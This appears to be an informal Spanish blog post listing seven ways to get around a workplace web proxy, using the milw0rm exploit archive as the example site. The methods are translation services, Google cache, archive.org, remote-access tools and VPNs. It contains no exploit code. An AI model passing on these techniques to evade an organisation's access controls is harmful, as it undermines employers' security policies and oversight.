1.- Utilizar “anonymouse”, es similar al anonym.to pero te enseña por ejemplo cual es la información con que te presentas a Internet. En ocasiones este funciona y el otro no, y al revés: à http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.milw0rm.com

2.- Utilizar Google Translator: ¿cómo?, ¿traducir una pagina web?, SI, con este absurdo se puede engañar a un Proxy à http://translate.google.es/translate?hl=es&sl=en&u=http://www.milw0rm.com

3.- Quizás el anterior no os funcionó, que decepción, un momento, ¿qué tal si probamos con el traductor del nuevo buscador de Microsoft? à http://www.microsofttranslator.com/bv.aspx?ref=SERP&br=ro&mkt=es-S&dl=es&lp=en_es&a=http://milw0rm.com/

4.- Utilizar la caché de google, hay veces que nos tendremos que conformar con páginas obsoletas desde hace 1 hora à http://74.125.77.132/search?q=cache:UB9G4tPVbxoJ:www.milw0rm.com/+milw0rm&cd=1&hl=es&ct=clnk&gl=es

5.- Ah que la página que queremos ver no se actualiza cada mucho tiempo, pues existe otra página para recuperar el historial de casi cualquier sitio que además es ideal para estudio de “Presencia en Internet”, sobretodo al permitirnos ver web obsoletas (con posibles fallos de diseño que pueden haberse trasladado a las actuales), se llama archive.org à http://web.archive.org/web/*/http://www.milw0rm.com

6.- ¿Todavía no lo has conseguido? Hay veces que hay que tirar de lo más obvio, el ataque tradicional por absurdo también “cuela” à Web Dumper

7.- Está bien, vuestro Proxy es de los duros. Habría que dar un premio a su Administrador, ¿o no?, seamos prácticos. Servicios como logmein.com también están por ahí. A las malas podemos montarnos un Proxy local que salga a un Proxy publico, montarnos una VPN, probar con VNC, etc. etc.

La pregunta es, ¿sigue teniendo sentido restringir el tráfico a Internet a los trabajadores?

Salu2!

Anexo: Quizás os venga bien visitar http://zly.me/, sobretodo cuando queremos visitar páginas web con una URL más grande que las zapatillas de Romay… ¡ah! Y si nuestro Proxy no hace filtrado por IP, también valdrá.